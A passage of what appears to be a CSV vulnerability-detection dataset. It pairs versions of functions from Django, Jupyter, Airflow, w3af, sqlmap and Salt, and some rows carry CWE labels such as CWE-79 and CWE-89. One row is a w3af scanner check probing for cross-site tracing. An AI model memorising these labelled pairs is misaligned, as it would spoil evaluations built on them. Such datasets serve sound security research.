                        self.stdout.write(""Stale content types remain."")",CWE-Unknown,django/django,874b1f2cac7b79597ce87cc244b7cefc5c5cd821,"def handle(self, **options):
        db = options['database']
        interactive = options['interactive']
        verbosity = options['verbosity']

        for app_config in apps.get_app_configs():
            content_types, app_models = get_contenttypes_and_models(app_config, db, ContentType)
            if not app_models:
                continue
            to_remove = [
                ct for (model_name, ct) in content_types.items()
                if model_name not in app_models
            ]
            # Confirm that the content type is stale before deletion.
            using = router.db_for_write(ContentType)
            if to_remove:
                if interactive:
                    ct_info = []
                    for ct in to_remove:
                        ct_info.append('    - Content type for %s.%s' % (ct.app_label, ct.model))
                        collector = NoFastDeleteCollector(using=using)
                        collector.collect([ct])

                        for obj_type, objs in collector.data.items():
                            if objs == {ct}:
                                continue
                            ct_info.append('    - %s %s object(s)' % (
                                len(objs),
                                obj_type._meta.label,
                            ))
                        content_type_display = '\n'.join(ct_info)
                    self.stdout.write(""""""Some content types in your database are stale and can be deleted.
Any objects that depend on these content types will also be deleted.
The content types and dependent objects that would be deleted are:

%s

This list doesn't include any cascade deletions to data outside of Django's
models (uncommon).

Are you sure you want to delete these content types?
If you're unsure, answer 'no'.\n"""""" % content_type_display)
                    ok_to_delete = input(""Type 'yes' to continue, or 'no' to cancel: "")
                else:
                    ok_to_delete = False

                if ok_to_delete == 'yes':
                    for ct in to_remove:
                        if verbosity >= 2:
                            self.stdout.write(""Deleting stale content type '%s | %s'"" % (ct.app_label, ct.model))
                        ct.delete()
                else:
                    if verbosity >= 2:
                        self.stdout.write(""Stale content types remain."")"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/notebookapp.py,0,"def init_settings(self, jupyter_app, kernel_manager, contents_manager,
                      session_manager, kernel_spec_manager,
                      config_manager, extra_services,
                      log, base_url, default_url, settings_overrides,
                      jinja_env_options=None):

        _template_path = settings_overrides.get(
            ""template_path"",
            jupyter_app.template_file_path,
        )
        if isinstance(_template_path, py3compat.string_types):
            _template_path = (_template_path,)
        template_path = [os.path.expanduser(path) for path in _template_path]

        jenv_opt = {""autoescape"": True}
        jenv_opt.update(jinja_env_options if jinja_env_options else {})

        env = Environment(loader=FileSystemLoader(template_path), extensions=['jinja2.ext.i18n'], **jenv_opt)
        sys_info = get_sys_info()

        # If the user is running the notebook in a git directory, make the assumption
        # that this is a dev install and suggest to the developer `npm run build:watch`.
        base_dir = os.path.realpath(os.path.join(__file__, '..', '..'))
        dev_mode = os.path.exists(os.path.join(base_dir, '.git'))

        nbui = gettext.translation('nbui', localedir=os.path.join(base_dir, 'notebook/i18n'), fallback=True)
        env.install_gettext_translations(nbui, newstyle=False)

        if dev_mode:
            DEV_NOTE_NPM = """"""It looks like you're running the notebook from source.
    If you're working on the Javascript of the notebook, try running

    %s

    in another terminal window to have the system incrementally
    watch and build the notebook's JavaScript for you, as you make changes."""""" % 'npm run build:watch'
            log.info(DEV_NOTE_NPM)

        if sys_info['commit_source'] == 'repository':
            # don't cache (rely on 304) when working from master
            version_hash = ''
        else:
            # reset the cache on server restart
            version_hash = datetime.datetime.now().strftime(""%Y%m%d%H%M%S"")

        if jupyter_app.ignore_minified_js:
            log.warning(_(""""""The `ignore_minified_js` flag is deprecated and no longer works.""""""))
            log.warning(_(""""""Alternatively use `%s` when working on the notebook's Javascript and LESS"""""") % 'npm run build:watch')
            warnings.warn(_(""The `ignore_minified_js` flag is deprecated and will be removed in Notebook 6.0""), DeprecationWarning)

        now = utcnow()
        
        root_dir = contents_manager.root_dir
        home = os.path.expanduser('~')
        if root_dir.startswith(home + os.path.sep):
            # collapse $HOME to ~
            root_dir = '~' + root_dir[len(home):]

        settings = dict(
            # basics
            log_function=log_request,
            base_url=base_url,
            default_url=default_url,
            template_path=template_path,
            static_path=jupyter_app.static_file_path,
            static_custom_path=jupyter_app.static_custom_path,
            static_handler_class = FileFindHandler,
            static_url_prefix = url_path_join(base_url,'/static/'),
            static_handler_args = {
                # don't cache custom.js
                'no_cache_paths': [url_path_join(base_url, 'static', 'custom')],
            },
            version_hash=version_hash,
            ignore_minified_js=jupyter_app.ignore_minified_js,

            # rate limits
            iopub_msg_rate_limit=jupyter_app.iopub_msg_rate_limit,
            iopub_data_rate_limit=jupyter_app.iopub_data_rate_limit,
            rate_limit_window=jupyter_app.rate_limit_window,

            # authentication
            cookie_secret=jupyter_app.cookie_secret,
            login_url=url_path_join(base_url,'/login'),
            login_handler_class=jupyter_app.login_handler_class,
            logout_handler_class=jupyter_app.logout_handler_class,
            password=jupyter_app.password,
            xsrf_cookies=True,
            disable_check_xsrf=jupyter_app.disable_check_xsrf,
            allow_remote_access=jupyter_app.allow_remote_access,
            local_hostnames=jupyter_app.local_hostnames,

            # managers
            kernel_manager=kernel_manager,
            contents_manager=contents_manager,
            session_manager=session_manager,
            kernel_spec_manager=kernel_spec_manager,
            config_manager=config_manager,

            # handlers
            extra_services=extra_services,

            # Jupyter stuff
            started=now,
            # place for extensions to register activity
            # so that they can prevent idle-shutdown
            last_activity_times={},
            jinja_template_vars=jupyter_app.jinja_template_vars,
            nbextensions_path=jupyter_app.nbextensions_path,
            websocket_url=jupyter_app.websocket_url,
            mathjax_url=jupyter_app.mathjax_url,
            mathjax_config=jupyter_app.mathjax_config,
            shutdown_button=jupyter_app.quit_button,
            config=jupyter_app.config,
            config_dir=jupyter_app.config_dir,
            allow_password_change=jupyter_app.allow_password_change,
            server_root_dir=root_dir,
            jinja2_env=env,
            terminals_available=False,  # Set later if terminals are available
        )

        # allow custom overrides for the tornado web app.
        settings.update(settings_overrides)
        return settings",,jupyter/notebook,f81ec30b62fd1cec122d48c6a367b8ea6ae59809,"def init_settings(self, jupyter_app, kernel_manager, contents_manager,
                      session_manager, kernel_spec_manager,
                      config_manager, extra_services,
                      log, base_url, default_url, settings_overrides,
                      jinja_env_options=None):

        _template_path = settings_overrides.get(
            ""template_path"",
            jupyter_app.template_file_path,
        )
        if isinstance(_template_path, py3compat.string_types):
            _template_path = (_template_path,)
        template_path = [os.path.expanduser(path) for path in _template_path]

        jenv_opt = {""autoescape"": True}
        jenv_opt.update(jinja_env_options if jinja_env_options else {})

        env = Environment(loader=FileSystemLoader(template_path), extensions=['jinja2.ext.i18n'], **jenv_opt)
        sys_info = get_sys_info()

        # If the user is running the notebook in a git directory, make the assumption
        # that this is a dev install and suggest to the developer `npm run build:watch`.
        base_dir = os.path.realpath(os.path.join(__file__, '..', '..'))
        dev_mode = os.path.exists(os.path.join(base_dir, '.git'))

        nbui = gettext.translation('nbui', localedir=os.path.join(base_dir, 'notebook/i18n'), fallback=True)
        env.install_gettext_translations(nbui, newstyle=False)

        if dev_mode:
            DEV_NOTE_NPM = """"""It looks like you're running the notebook from source.
    If you're working on the Javascript of the notebook, try running

    %s

    in another terminal window to have the system incrementally
    watch and build the notebook's JavaScript for you, as you make changes."""""" % 'npm run build:watch'
            log.info(DEV_NOTE_NPM)

        if sys_info['commit_source'] == 'repository':
            # don't cache (rely on 304) when working from master
            version_hash = ''
        else:
            # reset the cache on server restart
            version_hash = datetime.datetime.now().strftime(""%Y%m%d%H%M%S"")

        if jupyter_app.ignore_minified_js:
            log.warning(_(""""""The `ignore_minified_js` flag is deprecated and no longer works.""""""))
            log.warning(_(""""""Alternatively use `%s` when working on the notebook's Javascript and LESS"""""") % 'npm run build:watch')
            warnings.warn(_(""The `ignore_minified_js` flag is deprecated and will be removed in Notebook 6.0""), DeprecationWarning)

        now = utcnow()
        
        root_dir = contents_manager.root_dir
        home = os.path.expanduser('~')
        if root_dir.startswith(home + os.path.sep):
            # collapse $HOME to ~
            root_dir = '~' + root_dir[len(home):]

        settings = dict(
            # basics
            log_function=log_request,
            base_url=base_url,
            default_url=default_url,
            template_path=template_path,
            static_path=jupyter_app.static_file_path,
            static_custom_path=jupyter_app.static_custom_path,
            static_handler_class = FileFindHandler,
            static_url_prefix = url_path_join(base_url,'/static/'),
            static_handler_args = {
                # don't cache custom.js
                'no_cache_paths': [url_path_join(base_url, 'static', 'custom')],
            },
            version_hash=version_hash,
            ignore_minified_js=jupyter_app.ignore_minified_js,

            # rate limits
            iopub_msg_rate_limit=jupyter_app.iopub_msg_rate_limit,
            iopub_data_rate_limit=jupyter_app.iopub_data_rate_limit,
            rate_limit_window=jupyter_app.rate_limit_window,

            # maximum request sizes - support saving larger notebooks
            # tornado defaults are 100 MiB, we increase it to 0.5 GiB
            max_body_size = 512 * 1024 * 1024,
            max_buffer_size = 512 * 1024 * 1024,

            # authentication
            cookie_secret=jupyter_app.cookie_secret,
            login_url=url_path_join(base_url,'/login'),
            login_handler_class=jupyter_app.login_handler_class,
            logout_handler_class=jupyter_app.logout_handler_class,
            password=jupyter_app.password,
            xsrf_cookies=True,
            disable_check_xsrf=jupyter_app.disable_check_xsrf,
            allow_remote_access=jupyter_app.allow_remote_access,
            local_hostnames=jupyter_app.local_hostnames,

            # managers
            kernel_manager=kernel_manager,
            contents_manager=contents_manager,
            session_manager=session_manager,
            kernel_spec_manager=kernel_spec_manager,
            config_manager=config_manager,

            # handlers
            extra_services=extra_services,

            # Jupyter stuff
            started=now,
            # place for extensions to register activity
            # so that they can prevent idle-shutdown
            last_activity_times={},
            jinja_template_vars=jupyter_app.jinja_template_vars,
            nbextensions_path=jupyter_app.nbextensions_path,
            websocket_url=jupyter_app.websocket_url,
            mathjax_url=jupyter_app.mathjax_url,
            mathjax_config=jupyter_app.mathjax_config,
            shutdown_button=jupyter_app.quit_button,
            config=jupyter_app.config,
            config_dir=jupyter_app.config_dir,
            allow_password_change=jupyter_app.allow_password_change,
            server_root_dir=root_dir,
            jinja2_env=env,
            terminals_available=False,  # Set later if terminals are available
        )

        # allow custom overrides for the tornado web app.
        settings.update(settings_overrides)
        return settings"
,UNKNOWN,UNKNOWN,django/contrib/admin/templatetags/admin_list.py,1,"def result_headers(cl):
    """"""
    Generates the list column headers.
    """"""
    ordering_field_columns = cl.get_ordering_field_columns()
    for i, field_name in enumerate(cl.list_display):
        text, attr = label_for_field(
            field_name, cl.model,
            model_admin=cl.model_admin,
            return_attr=True
        )
        if attr:
            # Potentially not sortable

            # if the field is the action checkbox: no sorting and special class
            if field_name == 'action_checkbox':
                yield {
                    ""text"": text,
                    ""class_attrib"": mark_safe(' class=""action-checkbox-column""'),
                    ""sortable"": False,
                }
                continue

            admin_order_field = getattr(attr, ""admin_order_field"", None)
            if not admin_order_field:
                # Not sortable
                yield {
                    ""text"": text,
                    ""class_attrib"": format_html(' class=""column-{}""', field_name),
                    ""sortable"": False,
                }
                continue

        # OK, it is sortable if we got this far
        th_classes = ['sortable', 'column-{}'.format(field_name)]
        order_type = ''
        new_order_type = 'asc'
        sort_priority = 0
        sorted = False
        # Is it currently being sorted on?
        if i in ordering_field_columns:
            sorted = True
            order_type = ordering_field_columns.get(i).lower()
            sort_priority = list(ordering_field_columns).index(i) + 1
            th_classes.append('sorted %sending' % order_type)
            new_order_type = {'asc': 'desc', 'desc': 'asc'}[order_type]

        # build new ordering param
        o_list_primary = []  # URL for making this field the primary sort
        o_list_remove = []  # URL for removing this field from sort
        o_list_toggle = []  # URL for toggling order type for this field

        def make_qs_param(t, n):
            return ('-' if t == 'desc' else '') + str(n)

        for j, ot in ordering_field_columns.items():
            if j == i:  # Same column
                param = make_qs_param(new_order_type, j)
                # We want clicking on this header to bring the ordering to the
                # front
                o_list_primary.insert(0, param)
                o_list_toggle.append(param)
                # o_list_remove - omit
            else:
                param = make_qs_param(ot, j)
                o_list_primary.append(param)
                o_list_toggle.append(param)
                o_list_remove.append(param)

        if i not in ordering_field_columns:
            o_list_primary.insert(0, make_qs_param(new_order_type, i))

        yield {
            ""text"": text,
            ""sortable"": True,
            ""sorted"": sorted,
            ""ascending"": order_type == ""asc"",
            ""sort_priority"": sort_priority,
            ""url_primary"": cl.get_query_string({ORDER_VAR: '.'.join(o_list_primary)}),
            ""url_remove"": cl.get_query_string({ORDER_VAR: '.'.join(o_list_remove)}),
            ""url_toggle"": cl.get_query_string({ORDER_VAR: '.'.join(o_list_toggle)}),
            ""class_attrib"": format_html(' class=""{}""', ' '.join(th_classes)) if th_classes else '',
        }",CWE-79,django/django,60586dd7379b295b72d8af4e03423c286913b5e8,"def result_headers(cl):
    """"""
    Generates the list column headers.
    """"""
    ordering_field_columns = cl.get_ordering_field_columns()
    for i, field_name in enumerate(cl.list_display):
        text, attr = label_for_field(
            field_name, cl.model,
            model_admin=cl.model_admin,
            return_attr=True
        )
        if attr:
            # Potentially not sortable

            # if the field is the action checkbox: no sorting and special class
            if field_name == 'action_checkbox':
                yield {
                    ""text"": text,
                    ""class_attrib"": mark_safe(' class=""action-checkbox-column""'),
                    ""sortable"": False,
                }
                continue

            admin_order_field = getattr(attr, ""admin_order_field"", None)
            if not admin_order_field:
                # Not sortable
                yield {
                    ""text"": text,
                    ""class_attrib"": format_html(' class=""column-{}""', field_name),
                    ""sortable"": False,
                }
                continue

        # OK, it is sortable if we got this far
        th_classes = ['sortable', 'column-{}'.format(field_name)]
        order_type = ''
        new_order_type = 'asc'
        sort_priority = 0
        sorted = False
        # Is it currently being sorted on?
        if i in ordering_field_columns:
            sorted = True
            order_type = ordering_field_columns.get(i).lower()
            sort_priority = list(ordering_field_columns).index(i) + 1
            th_classes.append('sorted %sending' % order_type)
            new_order_type = {'asc': 'desc', 'desc': 'asc'}[order_type]

        # build new ordering param
        o_list_primary = []  # URL for making this field the primary sort
        o_list_remove = []  # URL for removing this field from sort
        o_list_toggle = []  # URL for toggling order type for this field
        make_qs_param = lambda t, n: ('-' if t == 'desc' else '') + str(n)

        for j, ot in ordering_field_columns.items():
            if j == i:  # Same column
                param = make_qs_param(new_order_type, j)
                # We want clicking on this header to bring the ordering to the
                # front
                o_list_primary.insert(0, param)
                o_list_toggle.append(param)
                # o_list_remove - omit
            else:
                param = make_qs_param(ot, j)
                o_list_primary.append(param)
                o_list_toggle.append(param)
                o_list_remove.append(param)

        if i not in ordering_field_columns:
            o_list_primary.insert(0, make_qs_param(new_order_type, i))

        yield {
            ""text"": text,
            ""sortable"": True,
            ""sorted"": sorted,
            ""ascending"": order_type == ""asc"",
            ""sort_priority"": sort_priority,
            ""url_primary"": cl.get_query_string({ORDER_VAR: '.'.join(o_list_primary)}),
            ""url_remove"": cl.get_query_string({ORDER_VAR: '.'.join(o_list_remove)}),
            ""url_toggle"": cl.get_query_string({ORDER_VAR: '.'.join(o_list_toggle)}),
            ""class_attrib"": format_html(' class=""{}""', ' '.join(th_classes)) if th_classes else '',
        }"
,UNKNOWN,UNKNOWN,tests/models/test_trigger.py,1,"def test_clean_unused(session, create_task_instance):
    """"""
    Tests that unused triggers (those with no task instances referencing them)
    are cleaned out automatically.
    """"""
    # Make three triggers
    trigger1 = Trigger(classpath=""airflow.triggers.testing.SuccessTrigger"", kwargs={})
    trigger1.id = 1
    trigger2 = Trigger(classpath=""airflow.triggers.testing.SuccessTrigger"", kwargs={})
    trigger2.id = 2
    trigger3 = Trigger(classpath=""airflow.triggers.testing.SuccessTrigger"", kwargs={})
    trigger3.id = 3
    session.add(trigger1)
    session.add(trigger2)
    session.add(trigger3)
    session.commit()
    assert session.query(Trigger).count() == 3
    # Tie one to a fake TaskInstance that is not deferred, and one to one that is
    task_instance = create_task_instance(
        session=session, task_id=""fake"", state=State.DEFERRED, execution_date=timezone.utcnow()
    )
    task_instance.trigger_id = trigger1.id
    session.add(task_instance)
    fake_task = EmptyOperator(task_id=""fake2"", dag=task_instance.task.dag)
    task_instance = TaskInstance(task=fake_task, run_id=task_instance.run_id)
    task_instance.state = State.SUCCESS
    task_instance.trigger_id = trigger2.id
    session.add(task_instance)
    session.commit()
    # Run clear operation
    Trigger.clean_unused()
    # Verify that one trigger is gone, and the right one is left
    assert session.query(Trigger).one().id == trigger1.id",CWE-703,apache/airflow,ef147dd8c403cb93c5419092cab2d20012ad3a72,"def test_clean_unused(session, create_task_instance):
    """"""
    Tests that unused triggers (those with no task instances referencing them)
    are cleaned out automatically.
    """"""
    # Make three triggers
    trigger1 = Trigger(classpath=""airflow.triggers.testing.SuccessTrigger"", kwargs={})
    trigger1.id = 1
    trigger2 = Trigger(classpath=""airflow.triggers.testing.SuccessTrigger"", kwargs={})
    trigger2.id = 2
    trigger3 = Trigger(classpath=""airflow.triggers.testing.SuccessTrigger"", kwargs={})
    trigger3.id = 3
    session.add(trigger1)
    session.add(trigger2)
    session.add(trigger3)
    session.commit()
    assert session.query(Trigger).count() == 3
    # Tie one to a fake TaskInstance that is not deferred, and one to one that is
    task_instance = create_task_instance(
        session=session, task_id=""fake"", state=State.DEFERRED, execution_date=timezone.utcnow()
    )
    task_instance.trigger_id = trigger1.id
    session.add(task_instance)
    fake_task = EmptyOperator(task_id=""fake2"", dag=task_instance.task.dag)
    task_instance = TaskInstance(task=fake_task, run_id=task_instance.run_id)
    task_instance.state = State.SUCCESS
    task_instance.trigger_id = trigger2.id
    session.add(task_instance)
    session.commit()
    # Run clear operation
    Trigger.clean_unused()
    # Verify that one trigger is gone, and the right one is left
    assert session.query(Trigger).one().id == trigger1.id"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/audit/xst.py,0,"def _fuzzRequests(self, freq ):
        '''
        Verify xst vulns by sending a TRACE request and analyzing the response.
        '''
    
        if not self._exec:
            # Do nothing
            pass
        else:
            # This will raise the exception the next time _fuzzRequests is run and remove the plugin from the list
            self._exec = False  
            
            # Create a mutant based on a fuzzable request
            # It is really important to use A COPY of the fuzzable request, and not the original.
            # The reason: I'm changing the method and the URL !
            frCopy = freq.copy()
            frCopy.setURL( urlParser.getDomainPath( frCopy.getURL() ) )
            frCopy.setMethod('TRACE')
            myMutant = mutant(frCopy)
           
            # Add a header. I search for this value to determine if XST is valid
            myheader = { 'FalseHeader': 'XST'}
            myMutant.setHeaders(myheader)
            
            # send the request to the server and recode the response
            response = self._sendMutant( myMutant, analyze=False )
            
            # create a regex to test the response. 
            regex = re.compile(""[FalseHeader: XST]"")
            if re.match(regex,response.getBody()):
                # If vulnerable record it. This will now become visible on the html Report
                v = vuln.vuln( freq )
                v.setId( response.id )
                v.setSeverity(severity.LOW)
                v.setName( 'Cross site tracing vulnerability' )
                v.setDesc( 'The web server at ""'+ response.getURL() +'"" is vulnerable to Cross Site Tracing.' )
                om.out.vulnerability( v.getDesc(), severity=v.getSeverity() )
                kb.kb.append( self, 'xst', v )",,andresriancho/w3af,62c50a62de5663ebe90fd1a182de7553ea7fea5f,"def _fuzzRequests(self, freq ):
        '''
        Verify xst vulns by sending a TRACE request and analyzing the response.
        '''
    
        if not self._exec:
            # Do nothing
            pass
        else:
            # This will raise the exception the next time _fuzzRequests is run and remove the plugin from the list
            self._exec = False  
            
            # Create a mutant based on a fuzzable request
            # It is really important to use A COPY of the fuzzable request, and not the original.
            # The reason: I'm changing the method and the URL !
            frCopy = freq.copy()
            frCopy.setURL( urlParser.getDomainPath( frCopy.getURL() ) )
            frCopy.setMethod('TRACE')
            myMutant = mutant(frCopy)
           
            # Add a header. I search for this value to determine if XST is valid
            myheader = { 'FalseHeader': 'XST'}
            myMutant.setHeaders(myheader)
            
            # send the request to the server and recode the response
            response = self._sendMutant( myMutant, analyze=False )
            
            # create a regex to test the response. 
            regex = re.compile(""[FalseHeader: XST]"")
            if re.match(regex,response.getBody()):
                # If vulnerable record it. This will now become visible on the html Report
                v = vuln.vuln( freq )
                v.setId( response.id )
                v.setSeverity(severity.LOW)
                v.setName( 'Cross site tracing vulnerability' )
                v.setDesc( 'The web server at ""'+ response.getURL() +'"" is vulnerable to Cross Site Tracing.' )
                om.out.vulnerability( v.getDesc() )
                kb.kb.append( self, 'xst', v )"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/agent.py,0,"def _(pattern, repl, string):
                retVal = string
                match = None
                for match in re.finditer(pattern, string):
                    pass

                if match:
                    while True:
                        _ = re.search(r""\\g<([^>]+)>"", repl)
                        if _:
                            repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
                        else:
                            break
                    retVal = string[:match.start()] + repl + string[match.end():]
                return retVal",,sqlmapproject/sqlmap,4f122ee0086a43108d0fca7191914b8649795fef,"def _(pattern, repl, string):
                retVal = string
                match = None
                for match in re.finditer(pattern, string):
                    pass
                if match:
                    while True:
                        _ = re.search(r""\\g<([^>]+)>"", repl)
                        if _:
                            repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
                        else:
                            break
                    retVal = string[:match.start()] + repl + string[match.end():]
                return retVal"
,UNKNOWN,UNKNOWN,django/contrib/gis/db/backends/oracle/introspection.py,1,"def get_geometry_type(self, table_name, geo_col):
        cursor = self.connection.cursor()
        try:
            # Querying USER_SDO_GEOM_METADATA to get the SRID and dimension information.
            try:
                cursor.execute(
                    'SELECT ""DIMINFO"", ""SRID"" FROM ""USER_SDO_GEOM_METADATA"" '
                    'WHERE ""TABLE_NAME""=%s AND ""COLUMN_NAME""=%s',
                    (table_name.upper(), geo_col.upper())
                )
                row = cursor.fetchone()
            except Exception as msg:
                new_msg = (
                    'Could not find entry in USER_SDO_GEOM_METADATA '
                    'corresponding to ""%s"".""%s""\n'
                    'Error message: %s.') % (table_name, geo_col, msg)
                six.reraise(Exception, Exception(new_msg), sys.exc_info()[2])

            # TODO: Research way to find a more specific geometry field type for
            # the column's contents.
            field_type = 'GeometryField'

            # Getting the field parameters.
            field_params = {}
            dim, srid = row
            if srid != 4326:
                field_params['srid'] = srid
            # Size of object array (SDO_DIM_ARRAY) is number of dimensions.
            dim = dim.size()
            if dim != 2:
                field_params['dim'] = dim
        finally:
            cursor.close()

        return field_type, field_params",CWE-89,django/django,9924c8a8b0f4281ba018ca3292ed78718fabe362,"def get_geometry_type(self, table_name, geo_col):
        cursor = self.connection.cursor()
        try:
            # Querying USER_SDO_GEOM_METADATA to get the SRID and dimension information.
            try:
                cursor.execute(
                    'SELECT ""DIMINFO"", ""SRID"" FROM ""USER_SDO_GEOM_METADATA"" '
                    'WHERE ""TABLE_NAME""=%s AND ""COLUMN_NAME""=%s',
                    (table_name.upper(), geo_col.upper())
                )
                row = cursor.fetchone()
            except Exception as msg:
                new_msg = (
                    'Could not find entry in USER_SDO_GEOM_METADATA '
                    'corresponding to ""%s"".""%s""\n'
                    'Error message: %s.') % (table_name, geo_col, msg)
                six.reraise(Exception, Exception(new_msg), sys.exc_info()[2])

            # TODO: Research way to find a more specific geometry field type for
            # the column's contents.
            field_type = 'GeometryField'

            # Getting the field parameters.
            field_params = {}
            dim, srid = row
            if srid != 4326:
                field_params['srid'] = srid
            # Length of object array ( SDO_DIM_ARRAY ) is number of dimensions.
            dim = len(dim)
            if dim != 2:
                field_params['dim'] = dim
        finally:
            cursor.close()

        return field_type, field_params"
,UNKNOWN,UNKNOWN,providers/tests/apache/pig/operators/test_pig.py,1,"def test_prepare_template(self):
        pig = ""sh echo $DATE;""
        task_id = TEST_TASK_ID

        operator = PigOperator(pig=pig, task_id=task_id)
        operator.prepare_template()
        assert pig == operator.pig

        # converts when pigparams_jinja_translate = true
        operator = PigOperator(pig=pig, task_id=task_id, pigparams_jinja_translate=True)
        operator.prepare_template()
        assert operator.pig == ""sh echo {{ DATE }};""",CWE-703,apache/airflow,03349014513114f1eaa413a9831b0027e4fbfa67,"def test_prepare_template(self):
        pig = ""sh echo $DATE;""
        task_id = TEST_TASK_ID

        operator = PigOperator(pig=pig, task_id=task_id)
        operator.prepare_template()
        assert pig == operator.pig

        # converts when pigparams_jinja_translate = true
        operator = PigOperator(pig=pig, task_id=task_id, pigparams_jinja_translate=True)
        operator.prepare_template()
        assert ""sh echo {{ DATE }};"" == operator.pig"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/modules/win_lgpo.py,0,"def _processValueItem(element, reg_key, reg_valuename, policy, parent_element,
                      check_deleted=False, this_element_value=None):
    '''
    helper function to process a value type item and generate the expected
    string in the Registry.pol file

    element - the element to process
    reg_key - the registry key associated with the element (some inherit from
              their parent policy)
    reg_valuename - the registry valueName associated with the element (some
                    inherit from their parent policy)
    policy - the parent policy element
    parent_element - the parent element (primarily passed in to differentiate
                     children of ""elements"" objects
    check_deleted - if the returned expected string should be for a deleted
                    value
    this_element_value - a specific value to place into the expected string
                         returned for ""elements"" children whose values are
                         specified by the user
    '''
    registry = Registry()
    expected_string = None
    # https://msdn.microsoft.com/en-us/library/dn606006(v=vs.85).aspx
    this_vtype = 'REG_SZ'
    encoded_semicolon = ';'.encode('utf-16-le')
    encoded_null = chr(0).encode('utf-16-le')
    if reg_key:
        reg_key = reg_key.encode('utf-16-le')
    if reg_valuename:
        reg_valuename = reg_valuename.encode('utf-16-le')
    if etree.QName(element).localname == 'decimal' and etree.QName(parent_element).localname != 'elements':
        this_vtype = 'REG_DWORD'
        if 'value' in element.attrib:
            this_element_value = struct.pack(b'I', int(element.attrib['value']))
        else:
            log.error('The %s child %s element for the policy with '
                      'attributes: %s does not have the required ""value"" '
                      'attribute. The element attributes are: %s',
                      etree.QName(parent_element).localname,
                      etree.QName(element).localname,
                      policy.attrib,
                      element.attrib)
            return None
    elif etree.QName(element).localname == 'longDecimal' and etree.QName(parent_element).localname != 'elements':
        # WARNING: no longDecimals in current ADMX files included with 2012
        # server, so untested/assumed
        this_vtype = 'REG_QWORD'
        if 'value' in element.attrib:
            this_element_value = struct.pack(b'Q', int(element.attrib['value']))
        else:
            log.error('The %s child %s element for the policy with '
                      'attributes: %s does not have the required ""value"" '
                      'attribute. The element attributes are: %s',
                      etree.QName(parent_element).localname,
                      etree.QName(element).localname,
                      policy.attrib,
                      element.attrib)
            return None
    elif etree.QName(element).localname == 'string':
        this_vtype = 'REG_SZ'
        this_element_value = b''.join([element.text.encode('utf-16-le'),
                                       encoded_null])
    elif etree.QName(parent_element).localname == 'elements':
        standard_element_expected_string = True
        if etree.QName(element).localname == 'boolean':
            # a boolean element that has no children will add a REG_DWORD == 1
            # on true or delete the value on false
            # https://msdn.microsoft.com/en-us/library/dn605978(v=vs.85).aspx
            if this_element_value is False:
                check_deleted = True
            if not check_deleted:
                this_vtype = 'REG_DWORD'
            this_element_value = struct.pack('I', 1)
            standard_element_expected_string = False
        elif etree.QName(element).localname == 'decimal':
            # https://msdn.microsoft.com/en-us/library/dn605987(v=vs.85).aspx
            this_vtype = 'REG_DWORD'
            requested_val = this_element_value
            if this_element_value is not None:
                this_element_value = struct.pack(b'I', int(this_element_value))
            if 'storeAsText' in element.attrib:
                if element.attrib['storeAsText'].lower() == 'true':
                    this_vtype = 'REG_SZ'
                    if requested_val is not None:
                        this_element_value = six.text_type(requested_val).encode('utf-16-le')
            if check_deleted:
                this_vtype = 'REG_SZ'
        elif etree.QName(element).localname == 'longDecimal':
            # https://msdn.microsoft.com/en-us/library/dn606015(v=vs.85).aspx
            this_vtype = 'REG_QWORD'
            requested_val = this_element_value
            if this_element_value is not None:
                this_element_value = struct.pack(b'Q', int(this_element_value))
            if 'storeAsText' in element.attrib:
                if element.attrib['storeAsText'].lower() == 'true':
                    this_vtype = 'REG_SZ'
                    if requested_val is not None:
                        this_element_value = six.text_type(requested_val).encode('utf-16-le')
        elif etree.QName(element).localname == 'text':
            # https://msdn.microsoft.com/en-us/library/dn605969(v=vs.85).aspx
            this_vtype = 'REG_SZ'
            if 'expandable' in element.attrib:
                if element.attrib['expandable'].lower() == 'true':
                    this_vtype = 'REG_EXPAND_SZ'
            if this_element_value is not None:
                this_element_value = b''.join([this_element_value.encode('utf-16-le'),
                                               encoded_null])
        elif etree.QName(element).localname == 'multiText':
            this_vtype = 'REG_MULTI_SZ' if not check_deleted else 'REG_SZ'
            if this_element_value is not None:
                this_element_value = '{0}{1}{1}'.format(chr(0).join(this_element_value), chr(0))
        elif etree.QName(element).localname == 'list':
            standard_element_expected_string = False
            del_keys = b''
            element_valuenames = []
            element_values = this_element_value
            if this_element_value is not None:
                element_valuenames = list([str(z) for z in range(1, len(this_element_value) + 1)])
            if 'additive' in element.attrib:
                if element.attrib['additive'].lower() == 'false':
                    # a delete values will be added before all the other
                    # value = data pairs
                    del_keys = b''.join(['['.encode('utf-16-le'),
                                         reg_key,
                                         encoded_null,
                                         encoded_semicolon,
                                         '**delvals.'.encode('utf-16-le'),
                                         encoded_null,
                                         encoded_semicolon,
                                         chr(registry.vtype[this_vtype]).encode('utf-32-le'),
                                         encoded_semicolon,
                                         six.unichr(len(' {0}'.format(chr(0)).encode('utf-16-le'))).encode('utf-32-le'),
                                         encoded_semicolon,
                                         ' '.encode('utf-16-le'),
                                         encoded_null,
                                         ']'.encode('utf-16-le')])
            if 'expandable' in element.attrib:
                this_vtype = 'REG_EXPAND_SZ'
            if element.attrib.get('explicitValue', 'false').lower() == 'true':
                if this_element_value is not None:
                    element_valuenames = [str(k) for k in this_element_value.keys()]
                    element_values = [str(v) for v in this_element_value.values()]
            elif 'valuePrefix' in element.attrib:
                # if the valuePrefix attribute exists, the valuenames are <prefix><number>
                # most prefixes attributes are empty in the admx files, so the valuenames
                # end up being just numbers
                if element.attrib['valuePrefix'] != '':
                    if this_element_value is not None:
                        element_valuenames = ['{0}{1}'.format(
                            element.attrib['valuePrefix'], k) for k in element_valuenames]
            else:
                # if there is no valuePrefix attribute, the valuename is the value
                if element_values is not None:
                    element_valuenames = [str(z) for z in element_values]
            if not check_deleted:
                if this_element_value is not None:
                    log.debug('_processValueItem has an explicit '
                              'element_value of %s', this_element_value)
                    expected_string = del_keys
                    log.debug('element_valuenames == %s and element_values '
                              '== %s', element_valuenames, element_values)
                    for i, item in enumerate(element_valuenames):
                        expected_string = expected_string + b''.join(['['.encode('utf-16-le'),
                                                                      reg_key,
